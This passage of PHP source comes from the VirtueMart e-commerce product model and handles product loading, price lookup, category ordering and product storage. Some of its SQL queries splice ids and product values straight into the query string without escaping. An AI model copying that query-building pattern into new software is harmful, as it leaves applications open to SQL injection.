($child->product_parent_id === $parentProduct->product_parent_id) { vmError('Error, parent product with virtuemart_product_id = '.$parentProduct->virtuemart_product_id.' has same parent id like the child with virtuemart_product_id '.$child->virtuemart_product_id); break; } $attribs = get_object_vars ($parentProduct); foreach ($attribs as $k=> $v) { if ('product_in_stock' != $k and 'product_ordered' != $k) {// Do not copy parent stock into child if (strpos ($k, '_') !== 0 and empty($child->$k)) { $child->$k = $v; // vmdebug($child->product_parent_id.' $child->$k',$child->$k); } } } $i++; if ($child->product_parent_id != $parentProduct->product_parent_id) { $child->product_parent_id = $parentProduct->product_parent_id; } else { $child->product_parent_id = 0; } } //vmdebug('getProduct Time: '.$runtime); $child->published = $published; $child->virtuemart_product_id = $pId; $child->product_parent_id = $ppId; if ($withCalc) { $child->prices = $this->getPrice ($child, array(), 1); //vmdebug(' use of $child->prices = $this->getPrice($child,array(),1)'); } if (empty($child->product_template)) { $child->product_template = VmConfig::get ('producttemplate'); } if(!empty($child->canonCatLink)) { // Add the product link for canonical $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->canonCatLink; } else { $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; } $child->canonical = JRoute::_ ($child->canonical,FALSE); if(!empty($child->virtuemart_category_id)) { $child->link = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->virtuemart_category_id, FALSE); } else { $child->link = $child->canonical; } $child->quantity = $quantity; $app = JFactory::getApplication (); if ($app->isSite () and VmConfig::get ('stockhandle', 'none') == 'disableit' and ($child->product_in_stock - $child->product_ordered) <= 0) { vmdebug ('STOCK 0', VmConfig::get ('use_as_catalog', 0), VmConfig::get ('stockhandle', 'none'), $child->product_in_stock); $_products[$productKey] = FALSE; } else { $_products[$productKey] = $child; } return $_products[$productKey]; } public function loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front){ $db = JFactory::getDbo(); $this->_nullDate = $db->getNullDate(); $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); //$productId = $this->_id===0? $product->virtuemart_product_id:$this->_id; //$productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $q = 'SELECT * FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_id` = "'.$productId.'" '; if($front){ if(count($virtuemart_shoppergroup_ids)>0){ $q .= ' AND ('; $sqrpss = ''; foreach($virtuemart_shoppergroup_ids as $sgrpId){ $sqrpss .= ' `virtuemart_shoppergroup_id` ="'.$sgrpId.'" OR '; } $q .= substr($sqrpss,0,-4); $q .= ' OR `virtuemart_shoppergroup_id` IS NULL OR `virtuemart_shoppergroup_id`="0") '; } $q .= ' AND ( (`product_price_publish_up` IS NULL OR `product_price_publish_up` = "' . $db->getEscaped($this->_nullDate) . '" OR `product_price_publish_up` <= "' .$db->getEscaped($this->_now) . '" ) AND (`product_price_publish_down` IS NULL OR `product_price_publish_down` = "' .$db->getEscaped($this->_nullDate) . '" OR product_price_publish_down >= "' . $db->getEscaped($this->_now) . '" ) )'; $quantity = (int)$quantity; if(!empty($quantity)){ $q .= ' AND( (`price_quantity_start` IS NULL OR `price_quantity_start`="0" OR `price_quantity_start` <= '.$quantity.') AND (`price_quantity_end` IS NULL OR `price_quantity_end`="0" OR `price_quantity_end` >= '.$quantity.') )'; } } else { $q .= ' ORDER BY `product_price` DESC'; } $db->setQuery($q); $prices = $db->loadAssocList(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('getProductSingle '.$err); } else { if($prices and count($prices)==0){ vmdebug('getProductSingle getPrice query',$q); } } return $prices; } public function getProductPrices(&$product,$quantity,$virtuemart_shoppergroup_ids,$front,$loop=false){ $product->product_price = null; $product->product_override_price = null; $product->override = null; $product->virtuemart_product_price_id = null; $product->virtuemart_shoppergroup_id = null; $product->product_price_publish_up = null; $product->product_price_publish_down = null; $product->price_quantity_start = null; $product->price_quantity_end = null; $productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $product->prices = $this->loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front); $i = 0; $runtime = microtime (TRUE) - $this->starttime; $product_parent_id = $product->product_parent_id; //Check for all attributes to inherited by parent products if($loop) { while ( $product_parent_id and count($product->prices)==0) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProductPrices() ', $product); vmError ('Max execution time reached in model product getProductPrices() ' . $product->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProductPrices() ', $product); vmError ('Time: ' . $runtime . ' Too many child products in getProductPrices() ' . $product->product_parent_id); break; } } $product->prices = $this->loadProductPrices($product_parent_id,$quantity,$virtuemart_shoppergroup_ids,$front); $i++; if(!isset($product->prices['salesPrice']) and $product->product_parent_id!=0){ $db = JFactory::getDbo(); $db->setQuery (' SELECT `product_parent_id` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` =' . $product_parent_id); $product_parent_id = $db->loadResult (); } } } if(count($product->prices)===1){ unset($product->prices[0]['virtuemart_product_id']); unset($product->prices[0]['created_on']); unset($product->prices[0]['created_by']); unset($product->prices[0]['modified_on']); unset($product->prices[0]['modified_by']); unset($product->prices[0]['locked_on']); unset($product->prices[0]['locked_by']); //vmdebug('getProductPrices my price ',$product->prices[0]); // For merging of the price and product array, the shoppergroup id from price must be unsetted. // Otherwise the product becomes the shoppergroup from the price. $priceShoppergroupID = $product->prices[0]['virtuemart_shoppergroup_id']; unset($product->prices[0]['virtuemart_shoppergroup_id']); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); $product->prices[0]['virtuemart_shoppergroup_id'] = $priceShoppergroupID; } else if ( $front and count($product->prices)>1 ) { foreach($product->prices as $price){ if(empty($price['virtuemart_shoppergroup_id'])){ if(empty($emptySpgrpPrice))$emptySpgrpPrice = $price; } else if(in_array($price['virtuemart_shoppergroup_id'],$virtuemart_shoppergroup_ids)){ $spgrpPrice = $price; break; } } if(!empty($spgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$spgrpPrice); //$prices = (array)$spgrpPrice; } else if(!empty($emptySpgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$emptySpgrpPrice); //$prices = (array)$emptySpgrpPrice; } else { vmWarn('COM_VIRTUEMART_PRICE_AMBIGUOUS'); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); //$prices = (array)$product->prices[0]; } } } var $withRating = false; public function getProductSingle ($virtuemart_product_id = NULL, $front = TRUE, $quantity = 1,$customfields=TRUE,$virtuemart_shoppergroup_ids=0) { //$this->fillVoidProduct($front); if (!empty($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } if($virtuemart_shoppergroup_ids===0){ $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } } $virtuemart_shoppergroup_idsString = 0; if(!empty($virtuemart_shoppergroup_ids) and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else if(!empty($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.$front.$customfields.$this->withRating; //$productKey = md5($virtuemart_product_id.$front.$quantity.$customfields.$this->withRating.$virtuemart_shoppergroup_idsString); static $_productsSingle = array(); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProduct, take from cache '.$productKey); return $_productsSingle[$productKey]; } else if(!$customfields or !$this->withRating){ $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.TRUE.TRUE.$this->withRating; //vmdebug('getProductSingle, recreate $productKey '.$productKey); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProductSingle, take from cache recreated key',$_productsSingle[$productKey]); return $_productsSingle[$productKey]; } } if (!empty($this->_id)) { // $joinIds = array('virtuemart_product_price_id' =>'#__virtuemart_product_prices','virtuemart_manufacturer_id' =>'#__virtuemart_product_manufacturers','virtuemart_customfield_id' =>'#__virtuemart_product_customfields'); if($this->withRating){ $joinIds = array('rating' => '#__virtuemart_ratings','virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } else { $joinIds = array('virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } $product = $this->getTable ('products'); $product->load ($this->_id, 0, 0, $joinIds); $xrefTable = $this->getTable ('product_medias'); $product->virtuemart_media_id = $xrefTable->load ((int)$this->_id); // Load the shoppers the product is available to for Custom Shopper Visibility $product->shoppergroups = $this->getProductShoppergroups ($this->_id); if (!empty($product->shoppergroups) and $front) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $commonShpgrps = array_intersect ($virtuemart_shoppergroup_ids, $product->shoppergroups); if (empty($commonShpgrps)) { vmdebug('getProductSingle creating void product, usergroup does not fit ',$product->shoppergroups); return $this->fillVoidProduct ($front); } } $this->getProductPrices($product,$quantity,$virtuemart_shoppergroup_ids,$front); if (!empty($product->virtuemart_manufacturer_id)) { $mfTable = $this->getTable ('manufacturers'); $mfTable->load ((int)$product->virtuemart_manufacturer_id); $product = (object)array_merge ((array)$mfTable, (array)$product); } else { $product->virtuemart_manufacturer_id = array(); $product->mf_name = ''; $product->mf_desc = ''; $product->mf_url = ''; } // Load the categories the product is in //$product->categories = $this->getProductCategories ($this->_id, $front); $product->categories = $this->getProductCategories ($this->_id, FALSE); //We need also the unpublished categories, else the calculation rules do not work if(!empty($product->product_url)){ $product->canonCatLink = $product->product_url; } else if(!empty($product->categories)){ $categories = $this->getProductCategories ($this->_id, TRUE); //only published if($categories){ if(!is_array($categories)) $categories = (array)$categories; $product->canonCatLink = $categories[0]; } } $product->virtuemart_category_id = 0; if ($front) { if (!empty($product->categories) and is_array ($product->categories) and count($product->categories)>1){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } //We must first check if we come from another category, due the canoncial link we would have always the same catgory id for a product //But then we would have wrong neighbored products / category and product layouts $last_category_id = shopFunctionsF::getLastVisitedCategoryId (); if ($last_category_id!==0 and in_array ($last_category_id, $product->categories)) { $product->virtuemart_category_id = $last_category_id; //vmdebug('I take for product the last category ',$last_category_id,$product->categories); } else { $virtuemart_category_id = vRequest::getInt ('virtuemart_category_id', 0); if ($virtuemart_category_id!==0 and in_array ($virtuemart_category_id, $product->categories)) { $product->virtuemart_category_id = $virtuemart_category_id; //vmdebug('I take for product the requested category ',$virtuemart_category_id,$product->categories); } else { if (!empty($product->categories) and is_array ($product->categories) and array_key_exists (0, $product->categories)) { $product->virtuemart_category_id = $product->canonCatLink; //vmdebug('I take for product the main category ',$product->virtuemart_category_id,$product->categories); } } } } else if(!empty($product->canonCatLink)) { $product->virtuemart_category_id = $product->canonCatLink; } } else { //This construction should allow us to see category depended prices in the BE $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); if($virtuemart_category_id!==0 and !empty($product->categories) ) { if(is_array($product->categories) and in_array ($virtuemart_category_id, $product->categories)){ $product->virtuemart_category_id = $virtuemart_category_id; } else if($product->categories==$virtuemart_category_id) { $product->virtuemart_category_id = $virtuemart_category_id; } } if (empty($product->virtuemart_category_id)) { if (!empty($product->categories) and is_array ($product->categories) and !empty($product->categories[0])) { $product->virtuemart_category_id = $product->categories[0]; } else { $product->virtuemart_category_id = null; } } // vmdebug('getProductSingle BE request $virtuemart_category_id',$virtuemart_category_id,$product->virtuemart_category_id); } if(!empty($product->virtuemart_category_id)){ $q = 'SELECT `ordering`,`id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = "' . $this->_id . '" and `virtuemart_category_id`= "' . $product->virtuemart_category_id . '" '; $this->_db->setQuery ($q); // change for faster ordering $ordering = $this->_db->loadObject (); if (!empty($ordering)) { $product->ordering = $ordering->ordering; //This is the ordering id in the list to store the ordering notice by Max Milbers $product->id = $ordering->id; } else { $product->ordering = $this->_autoOrder++; $product->id = $this->_autoOrder; vmdebug('$product->virtuemart_category_id no ordering stored for '.$ordering->id); } $catTable = $this->getTable ('categories'); $catTable->load ($product->virtuemart_category_id); $product->category_name = $catTable->category_name; } else { $product->category_name = null; $product->virtuemart_category_id = null; $product->ordering = null; $product->id = $this->_autoOrder++; vmdebug('$product->virtuemart_category_id is empty'); } if (!$front and $customfields) { if(!$this->listing){ $customfieldModel = VmModel::getModel ('Customfields'); $product->customfields = $customfieldModel->getproductCustomslist ($this->_id); if (empty($product->customfields) and !empty($product->product_parent_id)) { //$product->customfields = $this->productCustomsfieldsClone($product->product_parent_id,true) ; $product->customfields = $customfieldModel->getproductCustomslist ($product->product_parent_id, $this->_id); $product->customfields_fromParent = TRUE; } } } else if($customfields){ //only needed in FE productdetails, is now loaded in the view.html.php // /* Load the neighbours */ // $product->neighbours = $this->getNeighborProducts($product); // Fix the product packaging if ($product->product_packaging) { $product->packaging = $product->product_packaging & 0xFFFF; $product->box = ($product->product_packaging >> 16) & 0xFFFF; } else { $product->packaging = ''; $product->box = ''; } // set the custom variants //vmdebug('getProductSingle id '.$product->virtuemart_product_id.' $product->virtuemart_customfield_id '.$product->virtuemart_customfield_id); if (!empty($product->virtuemart_customfield_id)) { $customfieldModel = VmModel::getModel ('Customfields'); // Load the custom product fields $product->customfields = $customfieldModel->getProductCustomsField ($product); $product->customfieldsRelatedCategories = $customfieldModel->getProductCustomsFieldRelatedCategories ($product); $product->customfieldsRelatedProducts = $customfieldModel->getProductCustomsFieldRelatedProducts ($product); // custom product fields for add to cart $product->customfieldsCart = $customfieldModel->getProductCustomsFieldCart ($product); $child = $this->getProductChilds ($this->_id); $product->customsChilds = $customfieldModel->getProductCustomsChilds ($child, $this->_id); } // Check the stock level if (empty($product->product_in_stock)) { $product->product_in_stock = 0; } } $_productsSingle[$productKey] = $product; } else { $_productsSingle[$productKey] = $this->fillVoidProduct ($front); } $this->product = $_productsSingle[$productKey]; return $_productsSingle[$productKey]; } /** * This fills the empty properties of a product * todo add if(!empty statements * * @author Max Milbers * @param unknown_type $product * @param unknown_type $front */ private function fillVoidProduct ($front = TRUE) { /* Load an empty product */ $product = $this->getTable ('products'); $product->load (); /* Add optional fields */ $product->virtuemart_manufacturer_id = NULL; $product->virtuemart_product_price_id = NULL; if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } //$product->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $product->product_price = NULL; $product->product_currency = NULL; $product->product_price_quantity_start = NULL; $product->product_price_quantity_end = NULL; $product->product_price_publish_up = NULL; $product->product_price_publish_down = NULL; $product->product_tax_id = NULL; $product->product_discount_id = NULL; $product->product_override_price = NULL; $product->override = NULL; $product->categories = array(); $product->shoppergroups = array(); if ($front) { $product->link = ''; $product->prices = array(); $product->virtuemart_category_id = 0; $product->virtuemart_shoppergroup_id = 0; $product->mf_name = ''; $product->packaging = ''; $product->related = ''; $product->box = ''; } return $product; } /** * Load the product category * * @author Kohl Patrick,Max Milbers * @return array list of categories product is in */ public function getProductCategories ($virtuemart_product_id = 0, $front = FALSE) { $categories = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT pc.`virtuemart_category_id` FROM `#__virtuemart_product_categories` as pc'; if ($front) { $q .= ' LEFT JOIN `#__virtuemart_categories` as c ON c.`virtuemart_category_id` = pc.`virtuemart_category_id`'; } $q .= ' WHERE pc.`virtuemart_product_id` = ' . (int)$virtuemart_product_id; if ($front) { $q .= ' AND `published`=1 ORDER BY `c`.`ordering` ASC'; } //$q .= ' ORDER BY `pc`.`ordering` DESC '; $this->_db->setQuery ($q); $categories = $this->_db->loadResultArray (); } return $categories; } /** * Load the product shoppergroups * * @author Kohl Patrick,Max Milbers, Cleanshooter * @return array list of updateProductShoppergroupsTable that can view the product */ private function getProductShoppergroups ($virtuemart_product_id = 0) { $shoppergroups = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_product_shoppergroups` WHERE `virtuemart_product_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); $shoppergroups = $this->_db->loadResultArray (); } return $shoppergroups; } /** * Get the products in a given category * * @author RolandD * @access public * @param int $virtuemart_category_id the category ID where to get the products for * @return array containing product objects */ public function getProductsInCategory ($categoryId) { $ids = $this->sortSearchListQuery (TRUE, $categoryId); $this->products = $this->getProducts ($ids); return $this->products; } /** * Loads different kind of product lists. * you can load them with calculation or only published onces, very intersting is the loading of groups * valid values are latest, topten, featured, recent. * * The function checks itself by the config if the user is allowed to see the price or published products * * @author Max Milbers */ public function getProductListing ($group = FALSE, $nbrReturnProducts = FALSE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE, $filterCategory = TRUE, $category_id = 0) { $app = JFactory::getApplication (); if ($app->isSite ()) { $front = TRUE; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin', 'storeadmin')) { $onlyPublished = TRUE; if ($show_prices = VmConfig::get ('show_prices', 1) == '0') { $withCalc = FALSE; } } } else { $front = FALSE; } $this->setFilter (); if ($filterCategory === TRUE) { if ($category_id) { $this->virtuemart_category_id = $category_id; } } else { $this->virtuemart_category_id = FALSE; } $ids = $this->sortSearchListQuery ($onlyPublished, $this->virtuemart_category_id, $group, $nbrReturnProducts); //quickndirty hack for the BE list, we can do that, because in vm2.1 this is anyway fixed correctly $this->listing = TRUE; $products = $this->getProducts ($ids, $front, $withCalc, $onlyPublished, $single); $this->listing = FALSE; return $products; } /** * overriden getFilter to persist filters * * @author OSP */ public function setFilter () { $app = JFactory::getApplication (); if (!$app->isSite ()) { //persisted filter only in admin $view = JRequest::getWord ('view'); $mainframe = JFactory::getApplication (); $this->virtuemart_category_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_category_id', 'virtuemart_category_id', 0, 'int'); $this->setState ('virtuemart_category_id', $this->virtuemart_category_id); $this->virtuemart_manufacturer_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_manufacturer_id', 'virtuemart_manufacturer_id', 0, 'int'); $this->setState ('virtuemart_manufacturer_id', $this->virtuemart_manufacturer_id); } else { $this->virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', FALSE); } } /** * Returns products for given array of ids * * @author Max Milbers * @param int $productIds * @param boolean $front * @param boolean $withCalc * @param boolean $onlyPublished */ public function getProducts ($productIds, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE) { if (empty($productIds)) { return array(); } $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } $maxNumber = VmConfig::get ('absMaxProducts', 700); $products = array(); $i = 0; if ($single) { foreach ($productIds as $id) { if ($product = $this->getProductSingle ((int)$id, $front,1,TRUE,$virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } else { foreach ($productIds as $id) { if ($product = $this->getProduct ((int)$id, $front, $withCalc, $onlyPublished, 1, TRUE, $virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } return $products; } /** * This function retrieves the "neighbor" products of a product specified by $virtuemart_product_id * Neighbors are the previous and next product in the current list * * @author Max Milbers * @param object $product The product to find the neighours of * @return array */ public function getNeighborProducts ($product, $onlyPublished = TRUE, $max = 1) { $db = JFactory::getDBO (); $neighbors = array('previous' => '', 'next' => ''); $oldDir = $this->filter_order_Dir; $this->_onlyQuery = true; if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } $this->filter_order_Dir = $direction; //We try the method to get exact the next product, the other method would be to get the list of the browse view again and do a match //with the product id and giving back the neighbours $queryArray = $this->sortSearchListQuery($onlyPublished,(int)$product->virtuemart_category_id,false,1); if(isset($queryArray[1])){ $pos= strpos($queryArray[3],'ORDER BY'); $sp = array(); if($pos){ $orderByName = trim(substr ($queryArray[3],($pos+8)) ); $orderByName = str_replace('`','',$orderByName); if(strpos($orderByName,'.')){ $sp = explode('.',$orderByName); $orderByName = $sp[1]; } } $q = 'SELECT p.`virtuemart_product_id`, l.`product_name`, `pc`.ordering FROM `#__virtuemart_products` as p'; $joinT = ''; if(is_array($queryArray[1])){ $joinT = implode('',$queryArray[1]); } $q .= $joinT . ' WHERE (' . implode (' AND ', $queryArray[2]) . ') AND l.`virtuemart_product_id`!="'.$product->virtuemart_product_id.'" '; if(isset($product->$orderByName)){ $orderByValue = $product->$orderByName; if(isset($sp[0])){ $orderByName = '`'.$sp[0].'`.'.$orderByName; } } else { $orderByName = 'product_name'; $orderByValue = $product->product_name; } foreach ($neighbors as &$neighbor) { $qm = ' AND '.$orderByName.' '.$op.' "'.$orderByValue.'" ORDER BY '.$orderByName.' '.$direction.' LIMIT 1'; $db->setQuery ($q.$qm); //vmdebug('getNeighborProducts ',$q.$qm); if ($result = $db->loadAssocList ()) { $neighbor = $result; } if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } } } $this->filter_order_Dir = $oldDir; $this->_onlyQuery = false; return $neighbors; } /* reorder product in one category * TODO this not work perfect ! (Note by Patrick Kohl) */ function saveorder ($cid = array(), $order, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); $q = 'SELECT `id`,`ordering` FROM `#__virtuemart_product_categories` WHERE virtuemart_category_id=' . (int)$virtuemart_category_id . ' ORDER BY `ordering` ASC'; $this->_db->setQuery ($q); $pkey_orders = $this->_db->loadObjectList (); $tableOrdering = array(); foreach ($pkey_orders as $orderTmp) { $tableOrdering[$orderTmp->id] = $orderTmp->ordering; } // set and save new ordering foreach ($order as $key => $ord) { $tableOrdering[$key] = $ord; } asort ($tableOrdering); $i = 1; $ordered = 0; foreach ($tableOrdering as $key => $ord) { // if ($order != $i) { $this->_db->setQuery ('UPDATE `#__virtuemart_product_categories` SET `ordering` = ' . $i . ' WHERE `id` = ' . (int)$key . ' '); if (!$this->_db->query ()) { vmError ($this->_db->getErrorMsg ()); return FALSE; } $ordered++; // } $i++; } if ($ordered) { $msg = JText::sprintf ('COM_VIRTUEMART_ITEMS_MOVED', $ordered); } else { $msg = JText::_ ('COM_VIRTUEMART_ITEMS_NOT_MOVED'); } JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $virtuemart_category_id, $msg); } /** * Moves the order of a record * * @param integer The increment to reorder by */ function move ($direction, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); // Check for request forgeries $table = $this->getTable ('product_categories'); $table->move ($direction); JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . JRequest::getInt ('virtuemart_category_id', 0)); } /** * Store a product * * @author Max Milbers * @param $product given as reference * @param bool $isChild Means not that the product is child or not. It means if the product should be threated as child * @return bool */ public function store (&$product, $isChild = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); if ($product) { $data = (array)$product; } if (!class_exists ('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); $perm = Permissions::getInstance(); $superVendor = $perm->isSuperVendor(); if(empty($superVendor)){ vmError('You are not a vendor or administrator, storing of product cancelled'); return FALSE; } if (isset($data['intnotes'])) { $data['intnotes'] = trim ($data['intnotes']); } // Setup some place holders $product_data = $this->getTable ('products'); if(!empty($data['virtuemart_product_id'])){ $product_data -> load($data['virtuemart_product_id']); } //Set the decimals like product packaging //$decimals = array('product_length','product_width','product_height','product_weight','product_packaging'); foreach($this->decimals as $decimal){ if (array_key_exists ($decimal, $data)) { if(!empty($data[$decimal])){ $data[$decimal] = str_replace(',','.',$data[$decimal]); } else { $data[$decimal] = null; $product_data->$decimal = null; //vmdebug('Store product, set $decimal '.$decimal.' = null'); } } } //with the true, we do preloading and preserve so old values note by Max Milbers // $product_data->bindChecknStore ($data, $isChild); //We prevent with this line, that someone is storing a product as its own parent if(!empty($product_data->product_parent_id) and $product_data->product_parent_id == $data['virtuemart_product_id']){ $product_data->product_parent_id = 0; } $stored = $product_data->bindChecknStore ($data, false); $errors = $product_data->getErrors (); if(!$stored or count($errors)>0){ foreach ($errors as $error) { vmError ('Product store '.$error); } if(!$stored){ vmError('You are not an administrator or the correct vendor, storing of product cancelled'); } return FALSE; } $this->_id = $data['virtuemart_product_id'] = (int)$product_data->virtuemart_product_id; if (empty($this->_id)) { vmError('Product not stored, no id'); return FALSE; } //We may need to change this, the reason it is not in the other list of commands for parents if (!$isChild) { if (!empty($data['save_customfields'])) { if (!class_exists ('VirtueMartModelCustomfields')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); } VirtueMartModelCustomfields::storeProductCustomfields ('product', $data, $product_data->virtuemart_product_id); } } // Get old IDS $old_price_ids = $this->loadProductPrices($this->_id,0,0,false); //vmdebug('$old_price_ids ',$old_price_ids); if (isset($data['mprices']['product_price']) and count($data['mprices']['product_price']) > 0){ foreach($data['mprices']['product_price'] as $k => $product_price){ $pricesToStore = array(); $pricesToStore['virtuemart_product_id'] = $this->_id; $pricesToStore['virtuemart_product_price_id'] = (int)$data['mprices']['virtuemart_product_price_id'][$k]; if (!$isChild){ //$pricesToStore['basePrice'] = $data['mprices']['basePrice'][$k]; $pricesToStore['product_override_price'] = $data['mprices']['product_override_price'][$k]; $pricesToStore['override'] = (int)$data['mprices']['override'][$k]; $pricesToStore['virtuemart_shoppergroup_id'] = (int)$data['mprices']['virtuemart_shoppergroup_id'][$k]; $pricesToStore['product_tax_id'] = (int)$data['mprices']['product_tax_id'][$k]; $pricesToStore['product_discount_id'] = (int)$data['mprices']['product_discount_id'][$k]; $pricesToStore['product_currency'] = (int)$data['mprices']['product_currency'][$k]; $pricesToStore['product_price_publish_up'] = $data['mprices']['product_price_publish_up'][$k]; $pricesToStore['product_price_publish_down'] = $data['mprices']['product_price_publish_down'][$k]; $pricesToStore['price_quantity_start'] = (int)$data['mprices']['price_quantity_start'][$k]; $pricesToStore['price_quantity_end'] = (int)$data['mprices']['price_quantity_end'][$k]; } if (!$isChild and isset($data['mprices']['use_desired_price'][$k]) and $data['mprices']['use_desired_price'][$k] == "1") { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $pricesToStore['salesPrice'] = $data['mprices']['salesPrice'][$k]; $pricesToStore['product_price'] = $data['mprices']['product_price'][$k] = $calculator->calculateCostprice ($this->_id, $pricesToStore); unset($data['mprices']['use_desired_price'][$k]); } else { if(isset($data['mprices']['product_price'][$k]) ){ $pricesToStore['product_price'] = $data['mprices']['product_price'][$k]; } } if ($isChild) $childPrices = $this->loadProductPrices($this->_id,0,0,false); if ((isset($pricesToStore['product_price']) and $pricesToStore['product_price']!='') || (isset($childPrices) and count($childPrices)>1)) { if ($isChild) { //$childPrices = $this->loadProductPrices($pricesToStore['virtuemart_product_price_id'],0,0,false); if(is_array($old_price_ids) and count($old_price_ids)>1){ //We do not touch multiple child prices. Because in the parent list, we see no price, the gui is //missing to reflect the information properly. $pricesToStore = false; $old_price_ids = array(); } else { unset($data['mprices']['product_override_price'][$k]); unset($pricesToStore['product_override_price']); unset($data['mprices']['override'][$k]); unset($pricesToStore['override']); } } //$data['mprices'][$k] = $data['virtuemart_product_id']; if($pricesToStore){ $toUnset = array(); foreach($old_price_ids as $key => $oldprice){ if(array_search($pricesToStore['virtuemart_product_price_id'], $oldprice )){ $pricesToStore = array_merge($oldprice,$pricesToStore); $toUnset[] = $key; } } $this->updateXrefAndChildTables ($pricesToStore, 'product_prices',$isChild); foreach($toUnset as $key){ unset( $old_price_ids[ $key ] ); } } } } } if ( count($old_price_ids) ) { $oldPriceIdsSql = array(); foreach($old_price_ids as $oldPride){ $oldPriceIdsSql[] = $oldPride['virtuemart_product_price_id']; } // delete old unused Prices $this->_db->setQuery( 'DELETE FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_price_id` in ("'.implode('","', $oldPriceIdsSql ).'") '); $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('In store prodcut, deleting old price error',$err); } } if (!empty($data['childs'])) { foreach ($data['childs'] as $productId => $child) { $child['product_parent_id'] = $data['virtuemart_product_id']; $child['virtuemart_product_id'] = $productId; $this->store ($child, TRUE); } } if (!$isChild) { $data = $this->updateXrefAndChildTables ($data, 'product_shoppergroups'); $data = $this->updateXrefAndChildTables ($data, 'product_manufacturers'); if (!empty($data['categories']) && count 